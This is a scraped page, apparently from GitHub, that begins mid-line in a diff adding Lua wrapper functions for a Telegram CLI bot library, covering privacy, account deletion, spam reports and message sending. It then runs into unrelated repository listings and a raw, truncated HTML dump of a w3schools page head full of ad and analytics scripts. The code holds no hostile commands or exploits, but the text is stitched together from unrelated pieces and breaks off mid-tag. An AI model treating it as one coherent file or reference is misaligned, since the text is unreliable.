dl_cb, cmd) + local rules = {[0] = {ID = 'PrivacyRule' .. rule}} + + if allowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids -- vector + }, + } + end + if disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids -- vector + }, + } + end + if allowed_user_ids and disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids + }, + } + end + tdcli_function ({ + ID = "SetPrivacy", + key_ = { + ID = 'PrivacyKey' .. key + }, + rules_ = { + ID = "PrivacyRules", + rules_ = rules + }, + }, dl_cb, cmd) +end + +M.setPrivacy = setPrivacy + +-- Returns current privacy settings +-- @key Privacy key +-- key = UserStatus|ChatInvite +local function getPrivacy(key, dl_cb, cmd) + tdcli_function ({ + ID = "GetPrivacy", + key_ = { + ID = "PrivacyKey" .. key + }, + }, dl_cb, cmd) +end + +M.getPrivacy = getPrivacy + +-- Returns value of an option by its name. +-- See list of available options on https://core.telegram.org/tdlib/options +-- @name Name of the option +local function getOption(name, dl_cb, cmd) + tdcli_function ({ + ID = "GetOption", + name_ = name + }, dl_cb, cmd) +end + +M.getOption = getOption + +-- Sets value of an option. +-- See list of available options on https://core.telegram.org/tdlib/options. +-- Only writable options can be set +-- @name Name of the option +-- @value New value of the option +local function setOption(name, option, value, dl_cb, cmd) + tdcli_function ({ + ID = "SetOption", + name_ = name, + value_ = { + ID = 'Option' .. option, + value_ = value + }, + }, dl_cb, cmd) +end + +M.setOption = setOption + +-- Changes period of inactivity, after which the account of currently logged in user will be automatically deleted +-- @ttl New account TTL +local function changeAccountTtl(days, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAccountTtl", + ttl_ = { + ID = "AccountTtl", + days_ = days + }, + }, dl_cb, cmd) +end + +M.changeAccountTtl = changeAccountTtl + +-- Returns period of inactivity, after which the account of currently logged in user will be automatically deleted +local function getAccountTtl(dl_cb, cmd) + tdcli_function ({ + ID = "GetAccountTtl", + }, dl_cb, cmd) +end + +M.getAccountTtl = getAccountTtl + +-- Deletes the account of currently logged in user, deleting from the server all information associated with it. +-- Account's phone number can be used to create new account, but only once in two weeks +-- @reason Optional reason of account deletion +local function deleteAccount(reason, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteAccount", + reason_ = reason + }, dl_cb, cmd) +end + +M.deleteAccount = deleteAccount + +-- Returns current chat report spam state +-- @chat_id Chat identifier +local function getChatReportSpamState(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatReportSpamState", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChatReportSpamState = getChatReportSpamState + +-- Reports chat as a spam chat or as not a spam chat. +-- Can be used only if ChatReportSpamState.can_report_spam is true. +-- After this request ChatReportSpamState.can_report_spam became false forever +-- @chat_id Chat identifier +-- @is_spam_chat If true, chat will be reported as a spam chat, otherwise it will be marked as not a spam chat +local function changeChatReportSpamState(chat_id, is_spam_chat, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatReportSpamState", + chat_id_ = chat_id, + is_spam_chat_ = is_spam_chat + }, dl_cb, cmd) +end + +M.changeChatReportSpamState = changeChatReportSpamState + +-- Bots only. +-- Informs server about number of pending bot updates if they aren't processed for a long time +-- @pending_update_count Number of pending updates +-- @error_message Last error's message +local function setBotUpdatesStatus(pending_update_count, error_message, dl_cb, cmd) + tdcli_function ({ + ID = "SetBotUpdatesStatus", + pending_update_count_ = pending_update_count, + error_message_ = error_message + }, dl_cb, cmd) +end + +M.setBotUpdatesStatus = setBotUpdatesStatus + +-- Returns Ok after specified amount of the time passed +-- @seconds Number of seconds before that function returns +local function setAlarm(seconds, dl_cb, cmd) + tdcli_function ({ + ID = "SetAlarm", + seconds_ = seconds + }, dl_cb, cmd) +end + +M.setAlarm = setAlarm + +-- Text message +-- @text Text to send +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @reply_markup Bots only. Markup for replying to message +-- @disable_web_page_preview Pass true to disable rich preview for link in the message text +-- @clear_draft Pass true if chat draft message should be deleted +-- @entities Bold, Italic, Code, Pre, PreCode and TextUrl entities contained in the text. Non-bot users can't use TextUrl entities. Can't be used with non-null parse_mode +-- @parse_mode Text parse mode, nullable. Can't be used along with enitities +local function sendMessage(chat_id, reply_to_message_id, disable_notification, text, disable_web_page_preview, parse_mode) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = 1, + reply_markup_ = nil, + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, nil) +end + +M.sendMessage = sendMessage + +-- Animation message +-- @animation Animation file to send +-- @thumb Animation thumb, if available +-- @width Width of the animation, may be replaced by the server +-- @height Height of the animation, may be replaced by the server +-- @caption Animation caption, 0-200 characters +local function sendAnimation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, animation, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAnimation", + animation_ = getInputFile(animation), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAnimation = sendAnimation + +-- Audio message +-- @audio Audio file to send +-- @album_cover_thumb Thumb of the album's cover, if available +-- @duration Duration of audio in seconds, may be replaced by the server +-- @title Title of the audio, 0-64 characters, may be replaced by the server +-- @performer Performer of the audio, 0-64 characters, may be replaced by the server +-- @caption Audio caption, 0-200 characters +local function sendAudio(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, audio, duration, title, performer, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAudio", + audio_ = getInputFile(audio), + --album_cover_thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + duration_ = duration or '', + title_ = title or '', + performer_ = performer or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAudio = sendAudio + +-- Document message +-- @document Document to send +-- @thumb Document thumb, if available +-- @caption Document caption, 0-200 characters +local function sendDocument(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, document, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageDocument", + document_ = getInputFile(document), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendDocument = sendDocument + +-- Photo message +-- @photo Photo to send +-- @caption Photo caption, 0-200 characters +local function sendPhoto(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, photo, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessagePhoto", + photo_ = getInputFile(photo), + added_sticker_file_ids_ = {}, + width_ = 0, + height_ = 0, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendPhoto = sendPhoto + +-- Sticker message +-- @sticker Sticker to send +-- @thumb Sticker thumb, if available +local function sendSticker(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageSticker", + sticker_ = getInputFile(sticker), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + }, + }, dl_cb, cmd) +end + +M.sendSticker = sendSticker + +-- Video message +-- @video Video to send +-- @thumb Video thumb, if available +-- @duration Duration of video in seconds +-- @width Video width +-- @height Video height +-- @caption Video caption, 0-200 characters +local function sendVideo(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, video, duration, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVideo", + video_ = getInputFile(video), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + added_sticker_file_ids_ = {}, + duration_ = duration or '', + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVideo = sendVideo + +-- Voice message +-- @voice Voice file to send +-- @duration Duration of voice in seconds +-- @waveform Waveform representation of the voice in 5-bit format +-- @caption Voice caption, 0-200 characters +local function sendVoice(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, voice, duration, waveform, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVoice", + voice_ = getInputFile(voice), + duration_ = duration or '', + waveform_ = waveform or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVoice = sendVoice + +-- Message with location +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +local function sendLocation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageLocation", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + }, + }, dl_cb, cmd) +end + +M.sendLocation = sendLocation + +-- Message with information about venue +-- @venue Venue to send +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +-- @title Venue name as defined by sender +-- @address Venue address as defined by sender +-- @provider Provider of venue database as defined by sender. Only "foursquare" need to be supported currently +-- @id Identifier of the venue in provider database as defined by sender +local function sendVenue(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, title, address, id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVenue", + venue_ = { + ID = "Venue", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + title_ = title, + address_ = address, + provider_ = 'foursquare', + id_ = id + }, + }, + }, dl_cb, cmd) +end + +M.sendVenue = sendVenue + +-- User contact message +-- @contact Contact to send +-- @phone_number User's phone number +-- @first_name User first name, 1-255 characters +-- @last_name User last name +-- @user_id User identifier if known, 0 otherwise +local function sendContact(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageContact", + contact_ = { + ID = "Contact", + phone_number_ = phone_number, + first_name_ = first_name, + last_name_ = last_name, + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.sendContact = sendContact + +-- Message with a game +-- @bot_user_id User identifier of a bot owned the game +-- @game_short_name Game short name +local function sendGame(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, bot_user_id, game_short_name, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageGame", + bot_user_id_ = bot_user_id, + game_short_name_ = game_short_name + }, + }, dl_cb, cmd) +end + +M.sendGame = sendGame + +-- Forwarded message +-- @from_chat_id Chat identifier of the message to forward +-- @message_id Identifier of the message to forward +local function sendForwarded(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, from_chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageForwarded", + from_chat_id_ = from_chat_id, + message_id_ = message_id + }, + }, dl_cb, cmd) +end + +M.sendForwarded = sendForwarded + +return M cli/tg/tgcli (Binary file not shown.) 0 comments on commit 3233fdf Comment on 3233fdf Leave a comment Comment Desktop version
bingmann / Parallel String SortingCollection of Parallel String Sorting Algorithms including Parallel Super Scalar String Sample Sort and Parallel Multiway LCP-Mergesort
hiteshsuthar01 / OK <html lang="en-US"><head><script type="text/javascript" async="" src="https://script.4dex.io/localstore.js"></script> <title>HTML p tag</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="Keywords" content="HTML, Python, CSS, SQL, JavaScript, How to, PHP, Java, C, C++, C#, jQuery, Bootstrap, Colors, W3.CSS, XML, MySQL, Icons, NodeJS, React, Graphics, Angular, R, AI, Git, Data Science, Code Game, Tutorials, Programming, Web Development, Training, Learning, Quiz, Exercises, Courses, Lessons, References, Examples, Learn to code, Source code, Demos, Tips, Website"> <meta name="Description" content="Well organized and easy to understand Web building tutorials with lots of examples of how to use HTML, CSS, JavaScript, SQL, Python, PHP, Bootstrap, Java, XML and more."> <meta property="og:image" content="https://www.w3schools.com/images/w3schools_logo_436_2.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="436"> <meta property="og:image:height" content="228"> <meta property="og:description" content="W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more."> <link rel="icon" href="/favicon.ico" type="image/x-icon"> <link rel="preload" href="/lib/fonts/fontawesome.woff2?14663396" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-code-pro-v14-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/roboto-mono-v13-latin-500.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-700.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-600.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/freckle-face-v9-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="stylesheet" href="/lib/w3schools30.css"> <script async="" src="//confiant-integrations.global.ssl.fastly.net/prebid/202204201359/wrap.js"></script><script type="text/javascript" src="https://confiant-integrations.global.ssl.fastly.net/t_Qv_vWzcBDsyn934F1E0MWBb1c/prebid/config.js" async=""></script><script type="text/javascript" async="" src="https://www.google-analytics.com/gtm/js?id=GTM-WJ88MZ5&cid=1308236804.1650718121"></script><script async="" src="https://www.google-analytics.com/analytics.js"></script><script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-3855518-1', 'auto'); ga('require', 'displayfeatures'); ga('require', 'GTM-WJ88MZ5'); ga('send', 'pageview'); </script> <script src="/lib/uic.js?v=1.0.3"></script> <script data-cfasync="false" type="text/javascript"> var k42 = false; k42 = true; </script> <script data-cfasync="false" type="text/javascript"> window.snigelPubConf = { "adengine": { "activeAdUnits": ["main_leaderboard", "sidebar_top", "bottom_left", "bottom_right"] } } uic_r_a() </script> <script async="" data-cfasync="false" src="https://cdn.snigelweb.com/adengine/w3schools.com/loader.js" type="text/javascript"></script> <script src="/lib/my-learning.js?v=1.0.9"></script> <script type="text/javascript"> var stickyadstatus = ""; function fix_stickyad() { document.getElementById("stickypos").style.position = "sticky"; var elem = document.getElementById("stickyadcontainer"); if (!elem) {return false;} if (document.getElementById("skyscraper")) { var skyWidth = Number(w3_getStyleValue(document.getElementById("skyscraper"), "width").replace("px", "")); } else { var skyWidth = Number(w3_getStyleValue(document.getElementById("right"), "width").replace("px", "")); } elem.style.width = skyWidth + "px"; if (window.innerWidth <= 992) { elem.style.position = ""; elem.style.top = stickypos + "px"; return false; } var stickypos = document.getElementById("stickypos").offsetTop; var docTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop; var adHeight = Number(w3_getStyleValue(elem, "height").replace("px", "")); if (stickyadstatus == "") { if ((stickypos - docTop) < 60) { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } else { if ((docTop + 60) - stickypos < 0) { elem.style.position = ""; elem.style.top = stickypos + "px"; stickyadstatus = ""; document.getElementById("stickypos").style.position = "static"; } } if (stickyadstatus == "sticky") { if ((docTop + adHeight + 60) > document.getElementById("footer").offsetTop) { elem.style.position = "absolute"; elem.style.top = (document.getElementById("footer").offsetTop - adHeight) + "px"; document.getElementById("stickypos").style.position = "static"; } else { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } } function w3_getStyleValue(elmnt,style) { if (window.getComputedStyle) { return window.getComputedStyle(elmnt,null).getPropertyValue(style); } else { return elmnt.currentStyle[style]; } } </script> <link rel="stylesheet" type="text/css" href="/browserref.css"> <script type="text/javascript" async="" src="//cdn.snigelweb.com/prebid/5.20.2/prebid.js?v=3547-1650632016452"></script><script type="text/javascript" async="" src="//c.amazon-adsystem.com/aax2/apstag.js"></script><script type="text/javascript" async="" src="//securepubads.g.doubleclick.net/tag/js/gpt.js"></script><script type="text/javascript" async="" src="https://adengine.snigelweb.com/w3schools.com/3547-1650632016452/adngin.js"></script><script type="text/javascript" async="" src="//cdn.snigelweb.com/argus/argus.js"></script><meta http-equiv="origin-trial" content="AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0="><meta http-equiv="origin-trial" content="Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt/P/H4/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="AxBHdr0J44vFBQtZUqX9sjiqf5yWZ/OcHRcRMN3H9TH+t90V/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="AzoawhTRDevLR66Y6MROu167EDncFPBvcKOaQispTo9ouEt5LvcBjnRFqiAByRT+2cDHG1Yj4dXwpLeIhc98/gIAAACFeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A6+nc62kbJgC46ypOwRsNW6RkDn2x7tgRh0wp7jb3DtFF7oEhu1hhm4rdZHZ6zXvnKZLlYcBlQUImC4d3kKihAcAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A/9La288e7MDEU2ifusFnMg1C2Ij6uoa/Z/ylwJIXSsWfK37oESIPbxbt4IU86OGqDEPnNVruUiMjfKo65H/CQwAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><script src="https://securepubads.g.doubleclick.net/gpt/pubads_impl_2022042001.js?cb=31067210" async=""></script><argprec0></argprec0><argprec1></argprec1><style type="text/css">.snigel-cmp-framework .sn-inner {background-color:#fffefe!important;}.snigel-cmp-framework .sn-b-def {border-color:#04aa6d!important;color:#04aa6d!important;}.snigel-cmp-framework .sn-b-def.sn-blue {color:#ffffff!important;background-color:#04aa6d!important;border-color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li {color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li:after {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-footer-tab .sn-privacy a {color:#04aa6d!important;}.snigel-cmp-framework .sn-arrow:after,.snigel-cmp-framework .sn-arrow:before {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-switch input:checked + span::before {background-color:#04aa6d!important;}#adconsent-usp-link {border: 1px solid #04aa6d!important;color:#04aa6d!important;}#adconsent-usp-banner-optout input:checked + .adconsent-usp-slider {background-color:#04aa6d!important;}#adconsent-usp-banner-btn {color:#ffffff;border: solid 1px #04aa6d!important;background-color:#04aa6d!important; }</style><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script></head> <body> <style> #darkmodemenu { position:absolute; top:-40px; right:16px; padding:5px 20px 10px 18px; border-bottom-left-radius:5px; border-bottom-right-radius:5px; z-index:-1; transition: top 0.2s; user-select: none; } #darkmodemenu input,#darkmodemenu label { cursor:pointer; } </style> <script> ( function setThemeMode() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.body.className += " darktheme"; ga('send', 'event', 'theme' , "darkcode"); } if (y == "dark") { document.body.className += " darkpagetheme"; ga('send', 'event', 'theme' , "darkpage"); } })(); </script> <div id="pagetop" class="w3-bar w3-card-2 notranslate"> <a href="https://www.w3schools.com" class="w3-bar-item w3-button w3-hover-none w3-left w3-padding-16" title="Home" style="width:77px"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a> <style> @media screen and (max-width: 1080px) { .ws-hide-1080 { ddddisplay: none !important; } } @media screen and (max-width: 1160px) { .topnavmain_video { display: none !important; } } </style> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('tutorials')" id="navbtn_tutorials" title="Tutorials" style="width:116px">Tutorials <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('references')" id="navbtn_references" title="References" style="width:132px">References <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24 ws-hide-800" href="javascript:void(0)" onclick="w3_open_nav('exercises')" id="navbtn_exercises" title="Exercises" style="width:118px">Exercises <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a 